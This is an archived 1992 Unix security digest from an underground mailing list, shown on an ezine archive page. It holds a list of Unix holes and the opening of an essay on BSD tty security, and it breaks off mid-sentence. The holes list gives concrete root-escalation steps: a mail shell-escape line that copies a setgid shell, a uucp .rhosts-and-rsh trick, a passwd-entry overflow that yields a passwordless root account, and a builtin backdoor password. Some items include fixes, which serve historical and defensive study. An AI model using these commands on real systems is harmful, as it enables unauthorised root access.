eZine
Latest Articles

SANctuary: Town Criers Posting Board

GrayAreas Magazine: Issue 01
__________________________________________________ \.------------------------------------------------'. | | ...

Inuyasha - Episodi Italiani
[INU-YASHA - TITOLI EPISODI] PRIMA SERIE 01. La ragazza e il demone 02. I predatori della sfera 03. La via del ritorno attraverso il pozzo 04. Yura, il demone dei ca...

Hackers Issue 08
* * * * * * * * * * * * * * * * * * * * -= H A C K E R S =- Issue #8, October, 1996: Mischief Night! Edited by...

Hackers Issue 07

Hackers Issue 06
* * * * * * * * * * * * * * * * * * * * -= H A C K E R S =- Issue #6, February, 1996 Edited by: Revolution ...

Hackers Issue 05
* * * * * * * * * * * * * * * * * * * * -= H A C K E R S =- Issue #5, January, 1996 Edited by: Revolution ...

Hackers Issue 04
* * * * * * * * * * * * * * * * * * * * -= H A C K E R S =- Issue #4, November, 1995 Edited by: Revolution ...

Hackers Issue 03
* * * * * * * * * * * * * * * * * * * * -= H A C K E R S =- Issue #3, October, 1995 Edited by: Revolution ...

Hackers Issue 02
* * * * * * * * * * * * * * * * * * * * -= H A C K E R S =- Issue #2, September 1995 Edited by: Revolution "Hacking is life...
Latest comments

guest
для забора профнастил https://kuprnn.ru заборы сетка

AniphaeS
Mizzonaaaaaaaa 😍😍😍😍😍😍😍😍😍 la mia duchessa miciona 😍 ormai è indelebile

AniphaeS
Questo quadro l'adoro :)

AniphaeS
Ahhhh l' hai finito! bravissima :)

AniphaeS
Molto delicato :)

Adelaide
Si grazie.

Francesco
Ma questa è Mizzi :) Molto bello. Purtroppo le foto risultano ruotate! Sistemerò presto il codice ...

PS_2
here is another original review of a Playstation game from 1995 I just got Twisted Metal at Babbages for $59.95. Although you may consi ...

AniphaeS
They aleays have so mich fantasy :)

Francesco
The rice kittens are very cute :)
020-795611-KNULLA-DODE
030
0MFuXS
112_Under_Handsken
203
2112
2280_Magazine
2600_Magazine
29A
2h
2l8
40Hex
411_Newsletter
aBBa
ABLs_Barney_Must_Die_N
Abuse
Accel_Virus_Lab
ACE
Acidust
Acid_Plum
Activist_Times_Inc
Addendum
AEO_News_Bulletin
AEO_Programmers_Journa
Aftershock
AHAS
Air_in_the_Paragraph_L
Alcor
ALFAA_News_Letter
Alive
All_no_All
Alternateen_Digest
American_Pirate_Indust
Amerikan_Junkie
Amoric
Anaconda
Anada
Anal_Puberty
Anarchist_of_America
Anarchist_Tendencies
Anarchy
Anarchy_DownUnder
Anarchy_in_the_System
Anarchy_n_Explosives
Anarchy_Today
Angst
Angstmonster
Animal
Another_Night_and_Day_
anti-press_ezine
Anti-Warez_Association
Antidote
AntiOnline_s_RFC_Archi
Anti_Lamers_Foundation
ANUS
Armadillo_Culture
Artefacted
Aryan_Sekret_Service
Asian_Voices
ASKInews
ASpEN
Assemblage
Assembly_Programming_J
Astalavista_Group_Secu
Astral_Avenue
Atari_Bulletin_Board
Atari_Explorer_Online
Atari_Gaming_Gazette
Atari_Online_News_Etc
Atari_Power_Entertainm
Atari_Power_User_Onlin
Athene
Atmospherics
Attentat
Audiofile
Audyssey
Australian_Phreak_Scen
Autolog
Avalyn_Digest
Avantgarde_Intern
aware_eZine
b-z1ne
B0G
B4b0
Bad_Ass_Retards
Bad_Sector
BAH
Banana_Juice_Fanzine
Bang_Sonic
Barata_Eletrica
BASIC_Softips
BASIX_Newsletter
BASTARD_OPERATOR_FROM_
Bay_Area_Bulletin_Boar
Bellcore_Technical_Jou
Bell_Hell
Belong
Beneath_the_Remains
Beyond_Eternity
Beyond_Lost
BIOC_AGENT_003
Birmingham_Telecommuni
Bits_And_Bytes_Online_
Bizarre_Types_of_Wares
Black_Circle_Productio
Black_Hacker_Magazine
BLaH
Blast
Bleeding_Edge
Bliskit
Blisters_on_my_Butt
Bloated_Barbies
Bloated_Barbies
Blooball
Boardwatch_Magazine
BOM_Squad
Bondage
Bonkers
Boom
Bootlegger
Boredom_Incarnate
BoreD_Security_Digest
Boston_Anarchist_Drink
Bovens_Tidning
Brain_Waves
Breakaway_Debates_on_M
Breathe
Britcomedy_Digest
Brotherhood_of_Warez
Bucket
Butchered_From_Inside
Buzzz_Bros
Camarilla
Canada_h4xor
Canadian_Anarchists_Mi
Capital_of_Nasty
Carrier_Detect
Catslash
Center_of_Intelligent_
Central_Atari_Informat
Central_Atari_Informat
CERT_Advisory
CFX_BBS_official_NEWS
Chalisti
Chaos_Chronicles
Chaos_Corner
Chaos_Digest
Chaos_IL
Cheap_Truth
Cheese_N_Crackers
Chemical_Chocolate
Chico_s_Groove
Children_of_a_Dying_Su
CHiNA
Chitto-Zine
Chronicles_of_Chaos
Citadel_666
Citronic_Journal
COG_Analog_Industrial_
Commodore_Hacking
Communications_of_the_
Computer_Down-Under-Gr
Computer_Privacy_Diges
Computer_Undergroud_Di
Comsec
COM_NET_NEWS
Confidence_Remains_Hig
Connecticut_Hacker_New
Console_Maniacs
Consumable_Online
Contrascience
Corbin_Handbook_and_Ca
CORE
Cosmic_Debris
Cousins
Cows
CPI_Newsletter
Cracking_101
Cranberry_Winters
Crank
Crap_Will_Eat_Itself
Crash
Creative_Anarchists
Cris
Critical_Mass
Cropduster
Crypt_newsletter
Cult_of_the_dead_cat
Cult_of_the_Dead_Cow
Current_Cities
Current_Notes
CV_CRUD
CyberLabs_Digital
CyberLaw
Cyberpoets_Guide_to_Vi
Cybersaber
Cybertek_Electric
Cyber_Phuck_Magazine
Cyber_Rights_Now
Damage_Inc
Damned_Fucking_Shit
Dancing_Monica
DargonZine
Dark_World_Enterprises
Da_Hacker_Blunt
DDE
DDN_Security_Bulletin
Dead_Smoking_Punx
Deapa4reaete_Addicts_U
Defacto2
Default_Newsletter
Deformed_Noodles_and_A
Delaware_Valley_Rail_P
Delirium
Demented_Anarchists_an
Demented_Underground_H
DemoScene_Starter_Kit
Demo_News
Demo_News_extra
Den_Svarta_Cirkeln
Den_Svenska_Rapporten
Desire_Street
Destruction_of_Public_
Deviate
Devil_Shat
Diary_of_a_Hacker
Diet_Soap
Dig
Digital_Anarchists_Soc
Digital_Free_Press
Digital_Games_Review_D
Digital_Media_Perspect
Digital_Murder
Digital_Phreak_P1mps
Digital_Wannabes
Dirtynet
disCovery
Dishcetera_News
Dissident
DnA_Electronic_Magazin
Dogma
Doomed_to_Obscurity
Do_not_fuck_with_a_hac
Dreamboy
Drum
DUB
Dumb
Dummercon
Durex_Blender_Corporat
Dyke_Magazine
Dystopinion_Online
Dzoom
EFFector
EJournal
el8
ELD_RICH_PALMER
Electronic_Frontiers_A
Elektrix
Empire_of_Dirt
Emulation
Entropy
En_Uppkladd_Baver
Epos
Et_Cetera_The_Zine_of_
Everyone_Gets_Owned
Evil
Evolution
Excerpt
Exploit_this
Exponentiation
eXtreme-Brain_Short_Ci
eXtreme_Junkie
f0rbidden_knowledge
Fat_Nipples
FBI_Newsletter
Felney
Fiction-Online
Fight_this_Generation
Fingals_Cave
Fish_Head_Gang
Fist_of_God
Flak
Flam
Flame
Flashback_News_Agency_
FLC
Flights_of_Fancy_Castl
Flippersmack
Flowers_of_Disruption
Folo_Zone_Fun_Files
Fondle_my_balls
Fongu
Forever_Alive
Freakers_Bureau_Incorp
Freedom
FreePlay
Fringe
Frontier
Frost_Warning
FSFNET_BITNET_Fantasy-
Fucked_Up_College_Kids
Fuck_the_World
FUCT
Full_Disclosure
FunHouse
Funky_Llama_Club
Fun_Time
FurBytes
Fuxin_Eleet_Haxor
FYI
Game_Guru
Game_Master_Journal
Gateway_To_The_Undergr
GEnie
Geripe
Getting_Even
Ghost_Sites
Gick-Zine
Globe_Trotter
Glossolalia
Godarkys_Virus_Heaven_
God_of_B0rk
Going_Ape_Shit_Press
Gozer
Go_Null_Yourself
Graphomania
GrayAreas_Magazine
Greenleaf_News
Greeny_World_Dominatio
Grill
Grovers_research
Gruene_Street
H-Net_Magazine
H0no
HAA
HACK
Hackers
Hackers_Directory
Hackers_Information_Re
Hackers_Mentor
Hackers_Unlimited
Hackers_Unlimited_Maga
Hacking_ARPANET
Hacking_Cosmos
Hack_the_Planet
Hack_the_System
Hakd
Hallucinatory_Oyster_B
Halt_and_Catch_Fire
Happy
HardC.O.R.E.
HARDCORE
Hats
Havok
HaXoR
HBH
Heartbeat
Helter_Skelter
Herring
Hi-Rez
Hippie_Dippy_Klub
Holy_Temple_of_Mass_Co
Hornet_News
House_Info_Mag
HP_Magazine
Humdrum
HWA
Icon
If_You_Have_Never_Used
Igh_Bah_Poo
Illeagal_Activities
Imaculate_Septic_Tank
Imprimis_On_Line
Imprint
Impulse_Lameality
Impulse_Reality
Infectious_Diseases
Info-Atari16_Digest
InfoHax_Digest
Informatik
Information_Communicat
Information_Express_of
Information_Policy_Onl
Information_Technology
Ink_Sludge
Inquisition
iNSOMNiA
Integral_Functions
Intelligent_Dance_Mons
Interface
Interface_5
Intermos
International_Informat
International_Sysop_s_
International_Teletime
InterText
Interzine
In_Around_and_Online
In_a_Free_Land
Iridium
Italian_Hard_Phreaking
I_Bleed_for_This
I_Dont_Care_if_You_Rea
Jaguar_Explorer_Online
Jaguar_Journal
Jaguar_Mag
Jew_Ascii_Pack
Jolly_Rogers_Cookbook_
Jonas
Joyce_Wankable
Just_Another_Mag
K-Lined
K0de
K1INE
Kapitalizt_Life_is_Suc
KCAH
Keen_Veracity
Keepers
Kensho
Key_Pulse
Killer_Ride_And_Chilli
Kill_Yourself
Klunk
Knights_of_Dynamic_Dis
KNKKKKKKKKKKK
Knotted
Koma
KRaD
KRad_GNUz_and_Bullshit
Kuht
KULTCHA
Kunt
L0ck
Lamer
Larissa
League_for_Programming
LeECH_2
Legions_of_Lucifer
Legion_of_Bitter_Alumn
Legion_of_Doom_Technic
Legion_of_SCHRAM_Today
Lemon_Magazine
Lever
Liminal
Line_Noiz
Linux_News
Little_Red_Firecracker
Long_Dark_Tunnel
LooZeR_AsSh0lE_MiDgEt_
Loud_Lyrix
Love_and_Rage_Electron
Low_Self_Esteem
Lukewarm
Luna_Digizine
L_CHAIM
L_elephants_avec_les_t
M00se_Droppings
Machine_Language_Tutor
Macroez_of_Distruksion
MAD_COW
Magazyn_Alternatywnych
Manhattan_Project
Massive
Masters_of_Technology
Master_Anarchists_Givi
Measure
Mentorz_Gazette
Mercenary_Mag
Metal_Madness
Metamorphisis
Metazine
Microwave_Consolitatio
Midnights_Hackers_Priv
Midwest_Authority
Mikes_Madness
Milk
Milk_and_Tea
Mimeograph
Mindcrime
Mindcrime_Official_Fan
Mindflow
Mindless_Mayhem
Mind_Warp
Mini-JIR
MiniSport_Laptop_Hacke
Misfits_Inc
Mishandled_Information
MLiR
Modernz
Modus_Operandi
MOLE
Money_Inc
Monthly_Console_Scene_
More_Than_One
Morgue_Texts
Morpheus_Laughing
Mudlark
MWA
MWP
Mystery_Poetry
Mystery_Science_Theate
My_Millionth_Zine
N0_Way
Naked_Truth_Magazine
Napalm
NARCWATCH
National_Alliance_of_S
National_Hackers_Allia
National_Security_Anar
Nations_of_Ulysses
Necronomicon
Negative_Energy_Remade
Negative_Multiplicativ
Net
Net-fo
Net-Sec_newsletter
Netmonkey_Weekly_Repor
NetNotify
Netrunners
Networks_and_CommunIty
Network_Hackers_Allian
Network_Information_Ac
Network_Twenty-One
Net_Vandal
NeuroCactus
Neurosis
NewBies
Newmag
News_of_Freedom
New_World_Reader
Next_Dawn_Comics
Nihilism_Monthly
Nonoxynol_zine
Non_Serviam
Norwegian_Underground
Not_Even
Not_Phrack_64
No_Fear
No_Shit
No_way
NPA
NPANXX
NRX-1297
Nuclear_Phreakers_Hack
NuKE_Informational_Jou
Null
Nutworks
Nyquil
o7nio75
Oblivion
Obscure_Electronic
Oceania_Oracle
Ocean_County_Phone_Pun
ODZIA_PSYCHICZNY
Omphalos
OndaQuadra
On_the_Prowl
Operation_for_Free_Hac
Operation_Majority
Orange_Cats_Are_Pretty
Organized_Thoughts
OtakuBoy
Outbreak
Out_of_Step
Out_of_Step_Magazine
Owned_and_Exposed
P0lt3rg31st
P4K
Pa1n
Pandemonium_Magazine
Paradigm
Paranoia_Media_Scrutin
Parthenogenesis
PC_Review_Online
PD_Quickview_ST
Peachey_Incorporated
People_in_Society_Suck
Perl_Underground
Persistence_of_Time
Peter_Funk_Press
Pete_and_Bernies_Philo
Phantasy
Phantom_Access_Journal
Pharce
Philz_Lap
Phire
Phirst_Amendment
Phone_Punx_Magazine
Phose_Phree_Inner_Circ
Phrack_Inc
Phreakers_Digest
Phreakers_Hackers_Anar
Phreaking_Hacking_and_
PhRoZeN_CReW
Phruwt
Phucked_Phreak_Product
Phuckin_Phield_Phreake
Phuk_Magazine
Phun
Pirate
Pirates_Analyze_Warez
Pirates_Info_Manifesto
Piss
Pizza_Underground_Dige
Poets_on_the_Line
Politics_Online_Magazi
Pong
Poor_Old_Ugly_Pompous_
PoR
Pork
Portable_Addiction
Practical_Anarchy_Onli
Practical_Nutrition
Preachers_of_Texts
Private_Line
Processor_Direct
Prohibited_Data_Proces
Project_Underground_Al
Propaganda_Magazine
Propaganda_Unlimited
Prophe-Zine
PSiKOTiK
PSX_Freaks_Playstation
Public-Access_Computer
Public_Enema_Productio
Pucktales
Pulse
Pure_Bollocks
PURSUiT
Qbasic_Developers_Foru
QBasic_Gazette
QBNews
QNews_QBasic_Newslette
QuadCon
Quanta
Quarantined_Dementia
Queso
QuickBasicNews
Quick_information_Cron
r00t
Radioactive_Aardvark_D
Rage
Raidchan
Rajasthan-Travellers_D
Random_Access_Humor
Randys_Rumor_Rag
Reality_Sandwiches
Really_ELiTE_Doodz
Rebels_Riting_Guild
Rebel_Anarchistic_Tend
Recidivism_and_Goodnes
Red_Dye_Number_Five
Rejects_Illustrated
Relish
Renegade_Legion
Researchers_Undergroun
Revival
Rhode_Island_Computer_
Rice
Risks-Digest
Robot_Protection_Agenc
Russian_Reality_Review
Ruthless_Anarchists_Ge
Sabotage_and_Social_En
SANctuary
Saqueadores_Edicion_Te
Sarko
Satellite_of_Love_News
Saxonia
SCAM
Scandinavian_Indie_Dig
SCENERS_E-MAIL_ADDRESS
Scenet
Scene_Charts
Scratch
Scream-baby
Screams_of_Abel
Scrolls_of_Serenia
SDM
Security_Breach
Security_info_2002
Security_System
Seductive_Monkey_Poses
Sex_With_Sheep
SFFS
Shackle
Shadow_Lurking
Shake
Shawn-Da-Lay_Dawg
SHA_and_IHA
Short_Talk_Bulletin
Silicon_Times_Report
SitComm_Magazine
Skips_Computer_Miscell
Skweril
Slam
SLAP
Slightly_Insane_Anarch
Slinky
Sloths_over_Ethiopia
Smash
Smite
Snorkle
Soapbox
Socially_Deranged_Ment
Social_Workers_on_Acid
SoCiOtY_oF_LAMERS
Soldiers_of_Death
Some_Hairy_Illicit_Tes
Soshutup
Souls_In_Chaos
Southern_California_Di
Southern_Lights
Soveriegns_of_Bell
Space_Power
Sparkly_Blue
Spetznas
Sphear
Spilled_Ink
Spindle
Spiral_Chambers
Square
ST-ZMagazine
State_of_unBeing
Static_Line
STD
Story_Bytes
Strangeness
Stu
Stuck_In_Traffic
Stupid
ST_Gaming_Digest
Subliminal_Takeover_of
Subterranean_technolog
Sub_Space_News
Sunlight_Through_The_S
Super_Stupid_Slambook
SURFPUNK_Technical_Jou
SWaT
Synaesthetic
Syndicate_Power_Action
Syndicate_ZMagazine
SystemDown
System_Failure
Taco_Bell_Core
Take_Off
Tamer_Shrew
TapRoot
TAP_MAGAZINE
TAP_Magazine_Online
Taylorology
Tcahr
TDKEB
TeaMp0isoN
Technical_News_Associa
Technophile_Times
Telecom_Computer_Secur
TELECOM_Digest
Telephone_Free_Planet
TFW
Tha_Ruthless_0rganizat
There_Aint_No_Justice
There_Will_Be_Sharks
The_ABCs_of_Payphones
The_Abuser
The_Acid_Enema_Press
The_Adventures_of_Lone
The_Albert_Hofmann_Fou
The_Alembic
The_Alliance_Productio
The_AlterNet_Times
The_Anarchists_Guide_T
The_Anarchives
The_Annihilation_Fount
The_Art_of_Technology
The_Association_of_Rea
The_Asylum
The_Atari_Jaguars_Lair
The_BASIC_Code_Cache
The_Basix_Fanzine
The_Belgian_Scene_Repo
The_Black_Page
The_Blizzard_of_oz
The_Braille_Monitor
The_Carding_Hacking_Id
The_Carrier_Wave
The_Carrier_Wave
The_Cats_Pajamas
The_Chaos_Advocate
The_Charlatans_Digest
The_Cheap_Review_of_Po
The_CodeZero_Technical
The_Computer_Incident_
The_Connector
The_Console_Mag
The_Consortium
The_CyberSenior_Review
The_Cyberspace_Chronic
The_Cyberspace_Vanguar
The_Cyber_Sleaze_Repor
The_Dark_Council_Diges
The_Discordant_Opposit
The_Drain_ezine
The_Eidolonica_Papers
The_Elite_Krue
The_Empire_Times
The_EuroGamer_Digest
The_Eye_of_a_Storm
The_Federation_Flash
The_Fixer_Collection
The_Free_Journal
The_Frog_Farm
The_Game_Review
The_Genuine_Article
The_Green_Screen_Scene
The_Grimore
The_Hackers_Warehouse
The_Hack_Report
THE_HAQ
The_Harold_Herald
The_Havoc_Technical_Jo
The_Hell_Chronicles
The_Hex_Files
The_Hidden_Obvious
The_Hippie_Dippy_Klub
The_Hogan
The_Hogs_of_Entropy
The_Humus_Report
The_Imagica_Ezine
The_Infinity_Concept
The_International_Rogu
The_Internet_Informer
The_Internet_Sux
The_iSO_News
The_Journal_of_America
ThE_LaMeR_Kr0NiCkleS
The_Lawless_Society
The_Lobotomists_Digest
The_Lone_Gunmen
The_Martian_Chronicle
The_Media_Poll
The_Milkcrate_Liberati
The_mini-Annals_of_Imp
The_Misfits
The_Morpo_Review
The_Mouth_of_Xibalba
The_Neo-Comintern
The_NetSearch_E-Zine
The_Network_Observer
The_New_Fone_Express
The_Nullifidian
The_Olde_Crohn
The_one_arm_monkey
The_Ontarian_Hackers_A
The_Orlando_Indicator
The_Phone_Losers_of_Am
The_Phreakers_Hanbook
The_Poets_Corner
The_Project
The_Purple_Thunderbolt
The_Remote_Informer
The_ReservoirGODS_NEWS
The_Scanner
The_Scene_Post
The_Schidt
The_Scriptures_of_the_
The_Space_Between
The_Syndicate_Report
The_Telecommunications
The_Teleputing_Hotline
The_Thrashing_Pirana
The_Toxic_Custard_Work
The_Undead_Rise_Dammit
The_Undiscovered_Count
The_United_Phreakers_I
The_Unplastic_News
The_Utopian_News
The_Vandals
The_Vectronix_Newslett
The_Warez_Magazine
The_Ware_Report
The_Watcher
The_Web_Word
The_Weekly_EuroGamer_D
The_Weekly_Something_o
The_Week_in_Warez_News
The_WeST_of_Scotland
The_Winner_ANSI_Team
The_Word_of_God
The_WorldView
The_Zine
Thinking_Magazine
Thinking_to_Text
This_Zine_Sucks
Thought
Time_for_a_Change
Tolmes_News_Service
Topy_on-line_Transmiss
Tower_of_Song_Canadian
Toxic_Shock
Trapped_In_Absence
TraxWeekly
Triad
Trickz_of_the_Trade
Trina_Magna
True_Cyberpunk
Truth_Is_Stranger_Then
Turbo_Zine
Turtle_Overlords_of_Ca
Twilight_World
Twilight_Zone
Twisted_Young_Minds_Ex
Twister
Tyrone
Ubiquitous
UCPH
UKA_N64_Ezine
unCERTain_DIGEST
Underground
Underground_Digital_Pr
Underground_eXperts_Un
Underground_Legion_of_
Underground_Magazine
Underground_Periodical
Underground_Technologi
Under_Construction
Uninformed
United_Hackers_Associa
United_States_Undergro
Unlawful
Unreal
Untouchable
Upper_10
Urban
Utopia
Utter_Newbie_Faggots
Vana_Imago
VAS
Viewer_Discretion
Vinilo
Violence
Violent_Perfection
Virtual_Reality_Monthl
Virus_Bits_and_Bytes
Virus_programming
Vision
Vivatron
Voices
Vomit
W0OL
WAG
Wannabe
Warning
Warpzine
Wave
Weakly_Weird_News
West_Coast_Phreakers
West_of_Scotland
We_HaTe_You
We_Magazine
Whirlwind
Wizardry
Works_of_Art_that_didn
Worthless_Piece_of_Shi
WritersWeb
WTF
WWIV_News
x-files
X-System
x0x0x
x0x0x_exposed
Xenocide
Xenon_Foundation
Xine
Xtravaganza
Y0LK
Yahoo
Yellow_Journal
YFI
YGDRASIL_Magazine_A_Jo
Your_Life-Your_Choice
Zencor
Zero_For_0wned
Zhit_Axis_Nation
Zig_Zag
Zine
Zodiac
Z_NET_Online_Magazine
_CbD_s_Tutorial

BoreD Security Digest Issue 4

| 28 Dec 2019
  

BoreD Security Digest Issue 4

Toooo sexy for CORE
You're NOT dealing with AT&T!!!

The unix BoreD security mailing list is by invitation only and contains
sensitive material which SHOULD NOT BE REVEALED to non-members.
DO NOT PUT ANY LIST CONTENTS IN LOCATIONS ACCESSABLE TO NON-MEMBERS.
If you must keep copies on-line, please encrypt them at the very least.

PLEASE POST TO: infohax@stormking.com
PLEASE SEND EMERGENCY ALERTS TO: infohax-emergency@stormking.com
PLEASE SEND REQUESTS TO: infohax-request@stormking.com


SPECIAL TTY/PTY ISSUE

But, seriously. First things first. This newsletter does not
condone any action that is illegal (much less immoral). What you do in
your spare time is your business and not ours. Some of the material
presented here mabye unsuitable for readers under the influence of SS
control. However, this newsletter is too legit.
Next, the editorship has been changed to a compile-revision-revision-
release type format with one person doing each part (therefore in effect having
four editors). This is not a sole -I am gh0d and you are n0t- type digest.
The editorship is being shared.
Third, this is the fourth issue. These issues come out due to
member participation. So far we are doing great, 4 issues in 4 months. (well,
not as good as the original 1 issue per 2 week target but it isn't bad).
However, due to recent events, material has not flowed as clear as it should
and we need your thoughts/ideas/submissions more than ever. This is a special
TTY issue and more submissions for the next issue are needed. We hope to
put out another TTY/PTY issue in the next couple of issues ahead so we need
your tty/pty stuff!

Do not ship these issues to any one of your friends. Do not keep copies
online. Do not reveal the name of the project or any of its members. If
you do know of a potential member name him in here first by contacting one
of us.
-----------------------------------------------------------------------------

-Table of Comments for Issue 4-

1. Prelude/Comments
2. Table of Contents
3. Holes List 2 ....................................(hole2.lst)
4. TTY Comments ....................................(tty.comments)
5 TTY Partial Article .............................(tty.article)
6. blast.c .........................................4.cb.15.00
7. bugntrig.c ......................................4.cb.15.01
8. readtty.c .......................................4.cb.15.02
9. stufftty.c ......................................4.cb.15.03
10. tty-spy1: cover.c ...............................4.cb.15.04
11. tty-spy2: assorted ..............................4.cb.15.05

-----------------------------------------------------------------------------
==============================================================================
hole.list.2 hole.list.01 02/23/92
------------------------------------------------------------------------------
DATA:

=========
GENERAL
=========

1. Do not allow usernames to contain any of the following characters ";~!`"
(or any shell meta-charaters). This allows setuid root programs that
popen to be spoofed.

2. Never allow a setuid to root program to send a mail message that the user
creates to either the Berkeley mailer or mailx. All a user has to do
to break root is to send a line such as:

~!cp /bin/sh /tmp/sh; chmod 2555 /tmp/sh

That is that Berkeley mail(1) and Berkeley mailx(1) BOTH allow this shell
escape to be executed if the line starts in column one of stdout while
entering the message text.

3. Most security holes in UNIX are related to incorrect setting of directory
and file permissions or race conditions in the kernel that allow setuid
programs to be exploited. All non-standard setuid programs should be
examined.

4. Many systems can be compromised with NFS/RPC. A skilled RPC writer can
break security relatively easily. MIT's PROJECT ATHENA came up with
Kerberos to address these problems, networks are usually very insecure.

5. The mount command should not be executeable by ordinary users. A setuid
program on a mountable disk is NOT TO BE TRUSTED.

6. Systems that allow read-only mounting of foriegn disk are a security
hole. Setuid programs are normally honored. This allows a person who
has root access on a foriegn machine to break it on another.

7. Expreserve can be a huge hole (see the following)

/dev/fb
the frame buffer devices on at least suns are world
readable/writeable, which is at best annoying (when
someone runs something strange on you) and at worst
insecure (since someone can take a snapshot of your screen
via screenload or whatnot)

/dev/*st*, *mt*, etc (tape devices)
generally world readable/writeable, bad since others can
nuke your tapes, read your backups, etc.

chfn, chsh
used to create a root account

core
will system dump a setgid core image?

domain name system
a sysadmin running the soa for a domain somewhere can
create a bugs reverse address mapping table for one of his
hosts that causes its IP address to have the domain name
of a machine that my host has in its hosts.equiv file. if
i'm using the usual version of 'istrusted' (I think that's
the routine's name), the address lookup reveals the name
of the host to be one that my host trusts, and this other
sysadmin can rlogin into my machine or rsh or whatnot at
will.

fchown
test for bad group test

ftruncate
can be used to change major/minor numbers on devices

fingerd
hard .plan links - reading unreadable files readable by
user(fingerd)

setuid, .plan links

running as root
(fingerd_test.sh)

buffer overrun

file mod test.
test of file does not loose the setuid bit when modified


ftp
ftpd
static passwd struct overwrite

4.2 based bug, userid not reset properly, (after logging
in enter comment "user root" and you are, last seen
onder SunOS 3.3?).

overwrite stack somehow?

hosts.equiv
default + entry

istrusted routine - easy to spoof by bad SOA at remote
site with hacked reverse address map.

lock
4.1bsd version had the password "hasta la vista" as a
builtin trapdoor. (found in ultrix)

lost+found, fsck
lost+found should be mode 700, else others might see
private files.

lpd
its possible to ovberwrite files with root authority with
user level access locally or remotely if you have local
root access

lpr
lpr -r access testing problem

lprm
trusts utmp

passwd
fgets use allows long entries which will be mangled into
::0:0::: entries

also allows:
fred:...:...:...:Fred ....Flintstone::/bin/sh =>
fred:...:...:...:Fred.....
Flintstone::/bin/sh
which is a root entry with no password!

fix - should skip to eol if it didn't read whole entry,
should enforce buffer limits on text in file, don't use
atoi (since atoi(/bin/sh) is 0).

portmap
allows other net entities to make bindings - may not be a
"security hole", can lead to denial of service.

rcp
nobody problem

rexd
existence

rwall,comsat
running as root, utmp world writeable, writes to files as
well as devices in utmp dev fields.


rdist - buffer overflow

selection_svc
allowed remote access to files

sendmail
debug option

wizard mode

TURN command
allows mail to be stolen

decode mail alias - anyone can send mail to decode, write
to any file onwed by daemon, if they can connect to
sendmail daemon, can write to any file owned by any user.


overflow input buffer
cause the sendmail deamon to lock up

overwrite files
sendmail can be "tricked" into delivering mail
into any file but those own my root.

-oQ (different Q)
fixed in newer versions

mqueue must not be mode 777!

what uid does |program run with?

sendmail -bt -C/usr/spool/mail/user - in old versions,
allows you to see all lines of the file.

setuid bit handling
setuid/setgid bit should be dropped if a file is modified

fix: kernel changes

setuid scripts
there are several problems with setuid scripts. is it
worth writing tests for these? some systems might have
fixed some of the holes - does anyone know how one fixes
these problems in a proactive fashion?

sh
IFS hole (used with vi, anything else?)

su
overwrite stack somehow?

tcp/ip
sequence number prediction makes host spoofing easier

source routing make host spoofing easier

rip allows one to capture traffic more easily

various icmp attacks possible

(I suspect a traceroute'd kernel will allow one to easily
dump packets onto the ethernet)

tftp
allows one to grab random files (eg, /etc/passwd).
fix - should do a chroot

allows puts as well as gets, no chroot

fix - don't run as root, use chroot, no puts, only if boot
server.

utmp
check to see if world writeable (if so, the data can't be
trusted, although some programs are written as though they
trust the data (comsat, rwalld)).

uucp
check if valid uucp accounts are in the /etc/ftpusers. If
the shell is uucico and passwd is valid make sure it is
listed in ftpusers.

check to see that uucp accounts have shell: if left off,
folks can do:

cat >x
myhost myname
^D
uucp x ~uucp/.rhosts
rsh myhost -l uucp sh -i

HDB nostrangers shell escape

HDB changing the owner of set uid/gid files

HDB meta escapes on the X command line

HDB ; breaks on the X line

uudecode
if it is setuid, some versions will create setuid files


ypbind
accepts ypset from anyone (can create own ypserv and data,
and ypset to it...)

ypserv spoofing
send lots of bogus replies to a request for root's passwd
entry, while doing something that would generate such a
request [I'm pretty sure that this is possible, but
haven't tried it.]

AIX
* password means use root's password?

AIX 2.2.1
shadow password file (/etc/security/passwd) world
writeable

fix - chmod 600...

386i login
fix - nuke logintool, hack on login with adb, chmod 2750

ultrix 3.0 login
login -P progname allows one to run random programs as root.
fix - chmod 2750.

xhost:
if access access control is disabled any one can connect to
a X display it is possible and create (forge) and/or
intercept keystrokes.




------------------------------------------------------------------------------
Comments:
Q's:
Biblio:
CrossRef:
Code/shRef:
==============================================================================

In the Crunch Act of 1992 the Supreme Court ruled that phones are against the
law. Use a phone. Go to jail. That's the law.

==============================================================================
tty.comments 4.ch.02.01 04/04/92
------------------------------------------------------------------------------
DATA:


BSD tty security, part 1: The Berkeley Experience

Three weeks ago Keith Bostic gave me an account on vangogh.berkeley.edu,
running one of the latest revisions of BSD 4.3-Reno, so that I could
test the system for tty bugs. (What a remarkable coincidence. :-) )
I have bad news, good news, and a quick summary of what Berkeley is
planning to do about tty security.

The bad news: The system allows any user to take over a session started
by script. Presumably this also applies to xterm, emacs, expect, et al.
``Take over'' means invisible writing, tty mode mangling, and TIOCSTI.
Modulo some races, it lets any user output any number of characters at
the beginning of another user's telnetd connection, and may allow more
access (I haven't tested this thoroughly). Furthermore, it lets any user
log any other user out, given preparation. There are several minor holes
which should not be serious problems and which I won't describe here.

The good news: BSD now has a revoke(filename) syscall which achieves
similar effects to the enforce() that has been proposed here before;
telnetd uses revoke() in a way that I believe guarantees the security of
the tty. This does not stop I/O before the revoke(), but Marc Teitelbaum
says (and I agree) that proper flushing and a bit more paranoia will
completely shield login sessions from attack. Unfortunately, revoke() is
not usable by unprivileged programs like script, so for most purposes
ptys are as insecure as they were in BSD 4.2.

Last-minute good news: Marc has found the bug that allowed the logout
problem. He will fix it.

What BSD plans to do in the future about tty security: Apparently 4.4
will have ``bstreams'', roughly equivalent to the other stream systems
in the world. ptys will be re-implemented as bstreams, so they will
(finally!) be dynamically allocatable. Hopefully everyone at Berkeley
will agree that ptys do not belong in the filesystem; the ones who know
this are working to convince those who aren't sure, or so I hear.

Given this radical reorganization, it appears that BSD 4.4 ttys will be
secure. If this is true, I withdraw my previous threat. (But see part 4
for further comments.)

In the meantime (i.e., until someone gets up the courage to implement
bstreams) I have outlined to Marc a reasonably simple plan for making
ttys completely secure without radically changing the kernel or system
applications. I hope he sees that the plan involves at most a couple of
hours of work, so that with luck secure ttys will make it into the next
interim BSD release. As my plan also applies to BSD 4.2 and 4.3 and
popular systems derived from them, I have included it here as part 3.

BSD tty security, part 2: The POSIX Perspective

[Warning: By the end of part 1 you may have thought I was in a good
mood. Sorry, but no more Mr. Nice Guy. I will return to sweetness,
charm, and light in part 3.]

One of the security holes mentioned in part 1 (any user being able to
log any other user out) was a deeply buried bug in Berkeley's
